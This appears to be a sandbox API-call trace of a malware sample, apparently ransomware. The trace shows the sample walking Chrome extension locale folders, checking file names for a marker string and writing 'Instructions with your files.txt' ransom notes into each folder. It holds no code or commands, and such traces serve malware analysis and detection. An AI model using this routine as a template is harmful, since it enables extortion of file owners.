[0129.696] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.696] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.697] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.697] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.697] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.697] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.697] CloseHandle (hObject=0x134) returned 1
[0129.697] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.697] GetProcessHeap () returned 0x810000
[0129.697] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.697] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0129.697] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id") returned 141
[0129.697] GetProcessHeap () returned 0x810000
[0129.697] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.697] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*") returned 143
[0129.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.698] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\.") returned 143
[0129.698] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.698] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\..") returned 144
[0129.698] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.698] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 155
[0129.698] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.698] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.698] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\Instructions with your files.txt") returned 174
[0129.698] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.698] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.699] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.699] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.700] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.700] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.700] CloseHandle (hObject=0x134) returned 1
[0129.700] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.700] GetProcessHeap () returned 0x810000
[0129.700] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.700] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is", cAlternateFileName="")) returned 1
[0129.700] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is") returned 141
[0129.700] GetProcessHeap () returned 0x810000
[0129.700] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.700] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*") returned 143
[0129.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.701] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\.") returned 143
[0129.701] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.701] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\..") returned 144
[0129.701] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.701] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 155
[0129.701] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.701] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.701] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\Instructions with your files.txt") returned 174
[0129.701] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.702] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.703] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.703] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.703] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.703] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.703] CloseHandle (hObject=0x134) returned 1
[0129.703] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.703] GetProcessHeap () returned 0x810000
[0129.703] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.703] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0129.703] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it") returned 141
[0129.703] GetProcessHeap () returned 0x810000
[0129.703] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.703] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*") returned 143
[0129.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.704] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\.") returned 143
[0129.704] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.704] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\..") returned 144
[0129.704] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.704] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 155
[0129.704] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.704] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.704] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\Instructions with your files.txt") returned 174
[0129.704] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.704] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.705] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.705] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.705] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.705] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.705] CloseHandle (hObject=0x134) returned 1
[0129.706] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.706] GetProcessHeap () returned 0x810000
[0129.706] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.706] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1
[0129.706] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw") returned 141
[0129.706] GetProcessHeap () returned 0x810000
[0129.706] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.706] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*") returned 143
